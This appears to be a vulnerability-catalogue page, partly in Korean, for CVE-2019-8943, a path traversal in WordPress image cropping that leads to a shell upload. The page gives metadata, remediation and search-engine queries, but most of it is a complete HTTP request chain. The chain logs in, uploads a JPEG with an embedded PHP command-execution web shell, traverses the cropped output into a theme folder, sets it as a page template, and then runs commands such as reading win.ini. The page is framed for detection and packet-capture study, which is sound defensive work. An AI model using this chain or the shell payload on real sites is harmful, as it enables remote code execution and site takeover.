🔙 목록으로 돌아가기

CVE-2019-8943: WordPress Core 5.0.0 - Crop-image Shell Upload

Title	WordPress Core 5.0.0 - Crop-image Shell Upload
Author	sttlr
Severity	Medium
Impact	Authenticated attackers with image cropping privileges can write output images to arbitrary directories via path traversal, potentially overwriting critical system files or placing web shells in accessible locations.
Remediation	Upgrade to WordPress version 5.0.4 or later.
CVSS Score	6.5
EPSS Score	0.93904
CVE ID	CVE-2019-8943
CWE ID	CWE-22
Shodan Query	http.component:"wordpress"cpe:"cpe:2.3:a:wordpress:wordpress"
Fofa Query	body="oembed" && body="wp-"
Tags	cve cve2019 wordpress rce intrusive authenticated packetstorm wp-theme vuln

🔍 Vulnerability Description

WordPress through 5.0.3 allows Path Traversal in wp_crop_image(). An attacker (who has privileges to crop an image) can write the output image to an arbitrary directory via a filename containing two image extensions and ../ sequences, such as a filename ending with the .jpg?/../../file.jpg substring.

🌐 HTTP Request

GET /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15 MarketGoo/2.1
Connection: close
Accept-Encoding: gzip

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Connection: close
Content-Length: 37
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=hR2qI8&pwd=v6EFHO&wp-submit=Login

GET /wp-content/themes/CLHFPm/style.css HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Connection: close
Accept-Encoding: gzip

GET /wp-admin/media-new.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

POST /wp-admin/async-upload.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Connection: close
Content-Length: 1165
Content-Type: multipart/form-data; boundary=rexvfybxrhgfrfrjv
Accept-Encoding: gzip

--rexvfybxrhgfrfrjv

Content-Disposition: form-data; name="name"



bgBPGpqubS.jpg

--rexvfybxrhgfrfrjv

Content-Disposition: form-data; name="action"



upload-attachment

--rexvfybxrhgfrfrjv

Content-Disposition: form-data; name="_wpnonce"



vQWkhH

--rexvfybxrhgfrfrjv

Content-Disposition: form-data; name="async-upload"; filename="bgBPGpqubS.jpg"

Content-Type: image/jpeg



����JFIF``��8Photoshop 3.08BIMt<?=`$_GET[0]`;?>��;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 82
��C				


!'"#%%%),($+!$%$��C				$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$���"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz���������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz��������������������������������������������������������������������������?<?=`$_GET[0]`;?>

--rexvfybxrhgfrfrjv--

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25
Connection: close
Content-Length: 147
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=query-attachments&post_id=0&query%5bitem%5d=43&query%5borderby%5d=date&query%5border%5d=DESC&query%5bposts_per_page%5d=40&query%5bpaged%5d=1

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.11 Safari/605.1.15
Connection: close
Content-Length: 174
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=image-editor&_ajax_nonce=DWwwC1&postid=743AuG&history=%5b%7b%22c%22%3a%7b%22x%22%3a0%2c%22y%22%3a0%2c%22w%22%3a400%2c%22h%22%3a300%7d%7d%5d&target=all&context=&do=save

POST /wp-admin/post.php?post=743AuG&action=edit HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15
Connection: close
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

0

POST /wp-admin/post.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.16
Connection: close
Content-Length: 108
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

_wpnonce=drsKAP&action=editpost&post_ID=743AuG&meta_input%5b_wp_attached_file%5d=2026/01/bgBPGpqubS.jpg%3f/x

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.13 Safari/605.1.15
Connection: close
Content-Length: 208
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=crop-image&_ajax_nonce=DWwwC1&id=743AuG&cropDetails%5bx1%5d=0&cropDetails%5by1%5d=0&cropDetails%5bwidth%5d=400&cropDetails%5bheight%5d=300&cropDetails%5bdst_width%5d=400&cropDetails%5bdst_height%5d=300

POST /wp-admin/post.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Content-Length: 160
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

_wpnonce=drsKAP&action=editpost&post_ID=743AuG&meta_input%5b_wp_attached_file%5d=2026/01/bgBPGpqubS.jpg%3f/../../../../themes/CLHFPm/38FZf1iDY7ob014trt1LOM2ONL2

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36
Connection: close
Content-Length: 208
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=crop-image&_ajax_nonce=DWwwC1&id=743AuG&cropDetails%5bx1%5d=0&cropDetails%5by1%5d=0&cropDetails%5bwidth%5d=400&cropDetails%5bheight%5d=300&cropDetails%5bdst_width%5d=400&cropDetails%5bdst_height%5d=300

POST /wp-admin/post-new.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/608.2.11 (KHTML, like Gecko) Version/13 Safari/608.2.11
Connection: close
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

0

POST /wp-admin/post.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Safari/605.1.15
Connection: close
Content-Length: 163
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

_wpnonce=dcfEUc&action=editpost&post_ID=lgTMaQ&post_title=PYYHqlQuGD&post_name=lUHmxbnjHH&meta_input%5b_wp_page_template%5d=cropped-38FZf1iDY7ob014trt1LOM2ONL2.jpg

GET /?p=lgTMaQ&0=echo+d25vemw=|base64+-d HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/604.1
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

GET /?p=lgTMaQ&0=type+C:\windows\win.ini HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

GET /?p=lgTMaQ&0=type+..\..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101 Firefox/140.0.2 (x64 de)
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-8943.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-8943.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.

Snort 2 Rule

N/A

Snort 3 Rule

N/A